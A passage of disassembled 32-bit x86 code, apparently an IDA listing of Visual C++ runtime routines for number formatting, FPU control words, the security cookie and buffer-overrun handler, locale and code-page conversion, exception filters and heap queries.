		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_41C6D0
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41C6B6:				; CODE XREF: sub_41C693+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41C6C2
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41C6C5
; ---------------------------------------------------------------------------


loc_41C6C2:				; CODE XREF: sub_41C693+27j
		push	30h
		pop	edx


loc_41C6C5:				; CODE XREF: sub_41C693+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41C6B6
		mov	edx, [ebp+arg_8]


loc_41C6D0:				; CODE XREF: sub_41C693+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41C6E9
		cmp	byte ptr [ecx],	35h
		jl	short loc_41C6E9
		jmp	short loc_41C6E1
; ---------------------------------------------------------------------------


loc_41C6DE:				; CODE XREF: sub_41C693+52j
		mov	byte ptr [eax],	30h


loc_41C6E1:				; CODE XREF: sub_41C693+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41C6DE
		inc	byte ptr [eax]


loc_41C6E9:				; CODE XREF: sub_41C693+42j
					; sub_41C693+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41C6F3
		inc	dword ptr [edx+4]
		jmp	short loc_41C705
; ---------------------------------------------------------------------------


loc_41C6F3:				; CODE XREF: sub_41C693+59j
		push	edi
		call	sub_416000
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41BC70
		add	esp, 10h


loc_41C705:				; CODE XREF: sub_41C693+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C693	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C70A	proc near		; CODE XREF: sub_41C7C4+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_41C75A
		cmp	ebx, edi
		jz	short loc_41C753
		lea	edi, [ecx+3C00h]
		jmp	short loc_41C77B
; ---------------------------------------------------------------------------


loc_41C753:				; CODE XREF: sub_41C70A+3Fj
		mov	edi, 7FFFh
		jmp	short loc_41C77B
; ---------------------------------------------------------------------------


loc_41C75A:				; CODE XREF: sub_41C70A+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41C772
		cmp	edx, ebx
		jnz	short loc_41C772
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41C7BF
; ---------------------------------------------------------------------------


loc_41C772:				; CODE XREF: sub_41C70A+54j
					; sub_41C70A+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41C77B:				; CODE XREF: sub_41C70A+47j
					; sub_41C70A+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_41C7B6


loc_41C797:				; CODE XREF: sub_41C70A+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_41C797


loc_41C7B6:				; CODE XREF: sub_41C70A+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41C7BF:				; CODE XREF: sub_41C70A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C70A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7C4	proc near		; CODE XREF: sub_417FC1+23p
					; sub_4180D1+22p ...

var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41C70A
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41E0A1
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[esi], eax
		movsx	eax, [ebp+var_2C]
		mov	[esi+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	sub_41B390
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		call	sub_4182D6
		pop	edi
		pop	esi
		leave
		retn
sub_41C7C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C836	proc near		; CODE XREF: sub_414CA3+43Ep
					; sub_414CA3+459p ...
		push	2
		call	sub_4148E1
		pop	ecx
		retn
sub_41C836	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C83F	proc near		; CODE XREF: sub_41C95F+Cp
		xor	eax, eax
		test	bl, 1
		jz	short loc_41C849
		push	10h
		pop	eax


loc_41C849:				; CODE XREF: sub_41C83F+5j
		test	bl, 4
		jz	short loc_41C851
		or	eax, 8


loc_41C851:				; CODE XREF: sub_41C83F+Dj
		test	bl, 8
		jz	short loc_41C859
		or	eax, 4


loc_41C859:				; CODE XREF: sub_41C83F+15j
		test	bl, 10h
		jz	short loc_41C861
		or	eax, 2


loc_41C861:				; CODE XREF: sub_41C83F+1Dj
		test	bl, 20h
		jz	short loc_41C869
		or	eax, 1


loc_41C869:				; CODE XREF: sub_41C83F+25j
		test	bl, 2
		jz	short loc_41C873
		or	eax, 80000h


loc_41C873:				; CODE XREF: sub_41C83F+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jz	short loc_41C8AF
		cmp	ecx, 400h
		jz	short loc_41C8AA
		cmp	ecx, 800h
		jz	short loc_41C8A6
		cmp	ecx, esi
		jnz	short loc_41C8AF
		or	eax, edi
		jmp	short loc_41C8AF
; ---------------------------------------------------------------------------


loc_41C8A6:				; CODE XREF: sub_41C83F+5Dj
		or	eax, ebp
		jmp	short loc_41C8AF
; ---------------------------------------------------------------------------


loc_41C8AA:				; CODE XREF: sub_41C83F+55j
		or	eax, 100h


loc_41C8AF:				; CODE XREF: sub_41C83F+4Dj
					; sub_41C83F+61j ...
		and	edx, edi
		jz	short loc_41C8BE
		cmp	edx, ebp
		jnz	short loc_41C8C3
		or	eax, 10000h
		jmp	short loc_41C8C3
; ---------------------------------------------------------------------------


loc_41C8BE:				; CODE XREF: sub_41C83F+72j
		or	eax, 20000h


loc_41C8C3:				; CODE XREF: sub_41C83F+76j
					; sub_41C83F+7Dj
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jz	short locret_41C8D0
		or	eax, 40000h

locret_41C8D0:				; CODE XREF: sub_41C83F+8Aj
		retn
sub_41C83F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8D1	proc near		; CODE XREF: sub_41C95F+22p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_41C8D9
		inc	eax


loc_41C8D9:				; CODE XREF: sub_41C8D1+5j
		test	bl, 8
		jz	short loc_41C8E1
		or	eax, 4


loc_41C8E1:				; CODE XREF: sub_41C8D1+Bj
		test	bl, 4
		jz	short loc_41C8E9
		or	eax, 8


loc_41C8E9:				; CODE XREF: sub_41C8D1+13j
		test	bl, 2
		jz	short loc_41C8F1
		or	eax, 10h


loc_41C8F1:				; CODE XREF: sub_41C8D1+1Bj
		test	bl, 1
		jz	short loc_41C8F9
		or	eax, 20h


loc_41C8F9:				; CODE XREF: sub_41C8D1+23j
		test	ebx, 80000h
		jz	short loc_41C904
		or	eax, 2


loc_41C904:				; CODE XREF: sub_41C8D1+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_41C938
		cmp	ecx, 100h
		jz	short loc_41C933
		cmp	ecx, esi
		jz	short loc_41C92C
		cmp	ecx, edx
		jnz	short loc_41C938
		or	eax, 0C00h
		jmp	short loc_41C938
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C8D1+4Ej
		or	eax, 800h
		jmp	short loc_41C938
; ---------------------------------------------------------------------------


loc_41C933:				; CODE XREF: sub_41C8D1+4Aj
		or	eax, 400h


loc_41C938:				; CODE XREF: sub_41C8D1+42j
					; sub_41C8D1+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41C94E
		cmp	ecx, 10000h
		jnz	short loc_41C950
		or	eax, esi
		jmp	short loc_41C950
; ---------------------------------------------------------------------------


loc_41C94E:				; CODE XREF: sub_41C8D1+6Fj
		or	eax, edx


loc_41C950:				; CODE XREF: sub_41C8D1+77j
					; sub_41C8D1+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_41C95E
		or	eax, 1000h

locret_41C95E:				; CODE XREF: sub_41C8D1+86j
		retn
sub_41C8D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C95F	proc near		; CODE XREF: sub_41C991+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_41C83F
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_41C8D1
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_41C95F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C991	proc near		; CODE XREF: sub_41822A+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41C95F
		pop	ecx
		pop	ecx
		retn
sub_41C991	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A7	proc near		; DATA XREF: .data:0042A004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_41F140	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_41F0D0	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_41F158	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_41F004	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41F124	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	dword_42CE38, esi
		jnz	short loc_41C9FA
		mov	dword_42CE38, 0BB40E64Eh


loc_41C9FA:				; CODE XREF: sub_41C9A7+47j
		pop	esi
		leave
		retn
sub_41C9A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9FD	proc near		; CODE XREF: sub_4182D6-1Dp

var_128		= byte ptr -128h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset stru_428738
		call	__SEH_prolog
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		mov	eax, dword_47A1BC
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_41CA41
		mov	[ebp+ms_exc.disabled], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		pop	ecx
		pop	ecx


loc_41CA2F:				; CODE XREF: sub_41C9FD+42j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_41CB3F
; ---------------------------------------------------------------------------


loc_41CA38:				; DATA XREF: .rdata:stru_428738o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41CA3C:				; DATA XREF: .rdata:stru_428738o
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	short loc_41CA2F
; ---------------------------------------------------------------------------


loc_41CA41:				; CODE XREF: sub_41C9FD+23j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	short loc_41CA5A
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	[ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_41CA6B
; ---------------------------------------------------------------------------


loc_41CA5A:				; CODE XREF: sub_41C9FD+48j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	[ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h


loc_41CA6B:				; CODE XREF: sub_41C9FD+5Bj
		mov	[ebp+var_24], cl
		push	104h
		lea	eax, [ebp+var_128]
		push	eax
		push	ecx
		call	ds:dword_41F010	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41CA98
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx


loc_41CA98:				; CODE XREF: sub_41C9FD+86j
		lea	ebx, [ebp+var_128]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_416000
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_41CADC
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_416000
		mov	ebx, eax
		lea	eax, [ebp+var_128]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_412C40
		add	esp, 10h


loc_41CADC:				; CODE XREF: sub_41C9FD+B4j
		push	ebx
		call	sub_416000
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_41B390
		mov	edi, offset asc_4283A8 ; "\n\n"
		push	edi
		push	esi
		call	sub_41B3A0
		push	offset dword_428594
		push	esi
		call	sub_41B3A0
		push	ebx
		push	esi
		call	sub_41B3A0
		push	edi
		push	esi
		call	sub_41B3A0
		push	[ebp+var_20]
		push	esi
		call	sub_41B3A0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_41D75B
		add	esp, 3Ch


loc_41CB3F:				; CODE XREF: sub_41C9FD+36j
		push	3
		call	sub_414544
		int	3		; Trap to Debugger
sub_41C9FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB47	proc near		; CODE XREF: sub_4182E4+27Dp
					; sub_41AF01+15Ep

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		and	[ebp+var_6], 0
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		call	ds:dword_41F0F4	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_41CB79
		or	eax, 0FFFFFFFFh
		jmp	short loc_41CB83
; ---------------------------------------------------------------------------


loc_41CB79:				; CODE XREF: sub_41CB47+2Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_412EBA
		pop	ecx


loc_41CB83:				; CODE XREF: sub_41CB47+30j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		leave
		retn
sub_41CB47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB90	proc near		; CODE XREF: sub_4182E4+2A8p
					; sub_4182E4+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_428748
		call	__SEH_prolog
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_24], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_41CD39
		lea	ecx, [ebp+var_40]
		push	ecx
		push	eax
		mov	esi, ds:dword_41F18C
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41CBF7
		cmp	[ebp+var_40], 1
		jnz	short loc_41CBF7
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41CBF7
		cmp	[ebp+var_40], 1
		jnz	short loc_41CBF7
		mov	[ebp+var_2C], 1


loc_41CBF7:				; CODE XREF: sub_41CB90+45j
					; sub_41CB90+4Bj ...
		cmp	[ebp+var_2C], edi
		jz	short loc_41CC16
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41CC05
		mov	esi, ebx
		jmp	short loc_41CC11
; ---------------------------------------------------------------------------


loc_41CC05:				; CODE XREF: sub_41CB90+6Fj
		push	[ebp+arg_8]
		call	sub_416000
		pop	ecx
		mov	esi, eax
		inc	esi


loc_41CC11:				; CODE XREF: sub_41CB90+73j
		mov	[ebp+var_44], esi
		jmp	short loc_41CC19
; ---------------------------------------------------------------------------


loc_41CC16:				; CODE XREF: sub_41CB90+6Aj
		mov	esi, [ebp+var_44]


loc_41CC19:				; CODE XREF: sub_41CB90+84j
		cmp	[ebp+var_2C], edi
		jnz	short loc_41CC38
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_44], esi
		cmp	esi, edi
		jz	short loc_41CC90


loc_41CC38:				; CODE XREF: sub_41CB90+8Cj
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_41ADD0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41CC7C
; ---------------------------------------------------------------------------


loc_41CC65:				; DATA XREF: .rdata:stru_428748o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41CC69:				; DATA XREF: .rdata:stru_428748o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_44]


loc_41CC7C:				; CODE XREF: sub_41CB90+D3j
		cmp	ebx, edi
		jnz	short loc_41CC9E
		push	esi
		push	2
		call	sub_41AB01
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_41CC97


loc_41CC90:				; CODE XREF: sub_41CB90+A6j
		xor	eax, eax
		jmp	loc_41CD4B
; ---------------------------------------------------------------------------


loc_41CC97:				; CODE XREF: sub_41CB90+FEj
		mov	[ebp+var_24], 1


loc_41CC9E:				; CODE XREF: sub_41CB90+EEj
		push	esi
		push	ebx
		push	[ebp+var_28]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		test	eax, eax
		jz	loc_41CD3C
		cmp	[ebp+arg_10], edi
		jz	short loc_41CCDE
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41F0AC	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41CD3C
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		jmp	short loc_41CD3C
; ---------------------------------------------------------------------------


loc_41CCDE:				; CODE XREF: sub_41CB90+12Cj
		cmp	[ebp+var_2C], edi
		jnz	short loc_41CCF9
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41F0AC	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41CD3C


loc_41CCF9:				; CODE XREF: sub_41CB90+151j
		push	esi
		push	1
		call	sub_41AB01
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_41CD3C
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41F0AC	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_41CD2C
		push	[ebp+var_20]
		call	sub_412FE4
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_41CD3C
; ---------------------------------------------------------------------------


loc_41CD2C:				; CODE XREF: sub_41CB90+18Cj
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_41CD3C
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_41CD3C
; ---------------------------------------------------------------------------


loc_41CD39:				; CODE XREF: sub_41CB90+30j
		mov	ebx, [ebp+var_48]


loc_41CD3C:				; CODE XREF: sub_41CB90+123j
					; sub_41CB90+144j ...
		cmp	[ebp+var_24], edi
		jz	short loc_41CD48
		push	ebx
		call	sub_412FE4
		pop	ecx


loc_41CD48:				; CODE XREF: sub_41CB90+1AFj
		mov	eax, [ebp+var_20]


loc_41CD4B:				; CODE XREF: sub_41CB90+102j
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		call	__SEH_epilog
		retn
sub_41CB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD5F	proc near		; DATA XREF: sub_41CDA5o
					; .data:0042CE3Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD82
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41CD82
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41CD82
		call	sub_418F0B


loc_41CD82:				; CODE XREF: sub_41CD5F+Dj
					; sub_41CD5F+13j ...
		mov	eax, dword_47A1C0
		test	eax, eax
		jz	short loc_41CD9F
		push	eax
		call	sub_41CDFD
		test	eax, eax
		pop	ecx
		jz	short loc_41CD9F
		push	esi
		call	dword_47A1C0
		jmp	short loc_41CDA1
; ---------------------------------------------------------------------------


loc_41CD9F:				; CODE XREF: sub_41CD5F+2Aj
					; sub_41CD5F+35j
		xor	eax, eax


loc_41CDA1:				; CODE XREF: sub_41CD5F+3Ej
		pop	esi
		retn	4
sub_41CD5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDA5	proc near		; DATA XREF: .data:0042A020o
		push	offset sub_41CD5F
		call	ds:dword_41F120	; SetUnhandledExceptionFilter
		mov	dword_47A1C0, eax
		xor	eax, eax
		retn
sub_41CDA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDB8	proc near		; DATA XREF: .data:0042A038o
		push	dword_47A1C0
		call	ds:dword_41F120	; SetUnhandledExceptionFilter
		retn
sub_41CDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDC5	proc near		; CODE XREF: sub_4189E4+53p
					; sub_4189E4+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_41F11C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41CDDD
		xor	esi, esi


loc_41CDDD:				; CODE XREF: sub_41CDC5+14j
		mov	eax, esi
		pop	esi
		retn
sub_41CDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDE1	proc near		; CODE XREF: sub_4189E4+65p
					; sub_4189E4+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_41F178	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41CDF9
		xor	esi, esi


loc_41CDF9:				; CODE XREF: sub_41CDE1+14j
		mov	eax, esi
		pop	esi
		retn
sub_41CDE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDFD	proc near		; CODE XREF: sub_4189E4+128p
					; sub_41CD5F+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	esi, esi
		inc	esi
		call	ds:dword_41F118	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41CE11
		xor	esi, esi


loc_41CE11:				; CODE XREF: sub_41CDFD+10j
		mov	eax, esi
		pop	esi
		retn
sub_41CDFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418F0B


loc_41CE15:				; CODE XREF: sub_418F0B:loc_418F3Bj
		push	0Ah
		call	sub_419E4A
		push	16h
		call	sub_41E363
		pop	ecx
		pop	ecx
		push	3
		call	sub_414544
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_418F0B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE2D	proc near		; CODE XREF: sub_41965E+7p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_428758
		call	__SEH_prolog
		cmp	dword_47A640, 3
		jnz	short loc_41CE7C
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41697A
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_41CE6A
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_20], esi
		jmp	short loc_41CE6D
; ---------------------------------------------------------------------------


loc_41CE6A:				; CODE XREF: sub_41CE2D+30j
		mov	esi, [ebp+var_20]


loc_41CE6D:				; CODE XREF: sub_41CE2D+3Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41CE9A
		cmp	[ebp+var_1C], 0
		jnz	short loc_41CE8F


loc_41CE7C:				; CODE XREF: sub_41CE2D+13j
		push	[ebp+arg_0]
		push	0
		push	dword_47A63C
		call	ds:dword_41F114	; RtlSizeHeap
		mov	esi, eax


loc_41CE8F:				; CODE XREF: sub_41CE2D+4Dj
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_41CE2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE97	proc near		; DATA XREF: .rdata:stru_428758o
		mov	esi, [ebp-20h]
sub_41CE97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CE9A	proc near		; CODE XREF: sub_41CE2D+44p
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_41CE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CEA3	proc near		; CODE XREF: sub_4197D8+11Dp
					; sub_4197D8+1D8p ...
		xor	eax, eax
		retn
sub_41CEA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEA6	proc near		; CODE XREF: sub_41D4B3+4Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
